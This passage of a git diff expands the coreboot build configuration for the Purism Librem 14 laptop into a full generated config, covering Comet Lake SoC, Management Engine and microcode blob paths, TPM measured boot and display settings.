CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index d5bd84007..822a18e1a 100644 --- a/config/coreboot-librem_14.config +++ b/config/coreboot-librem_14.config @@ -1,22 +1,805 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem 14" +CONFIG_MAINBOARD_PART_NUMBER="Librem 14" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_cnl" +CONFIG_VGA_BIOS_ID="8086,9b41" +CONFIG_DIMM_MAX=2 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_CBFS_SIZE=0xC00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 +CONFIG_MAX_CPUS=12 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="librem_14" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xe00 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_PXE_ROM_ID="10ec,8168" +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/me.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 14" CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set CONFIG_BOARD_PURISM_LIBREM_14=y +# CONFIG_BOARD_PURISM_LIBREM_11 is not set +# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_FSP_TEMP_RAM_SIZE=0x10000 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="cnl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=16 +CONFIG_MAX_PCIE_CLOCK_SRC=6 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_INTEL_CANNONLAKE_BASE=y +CONFIG_SOC_INTEL_COMETLAKE=y +CONFIG_SOC_INTEL_COMETLAKE_1_2=y +CONFIG_FSP_FD_PATH_2="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Fsp.fd" +CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y +CONFIG_ME_SPEC=12 +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_cnl/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_LIBREM_EC=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +CONFIG_DRIVERS_I2C_GENERIC=y +CONFIG_DRIVERS_I2C_HID=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_HAVE_DPTF_EISA_HID=y +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y 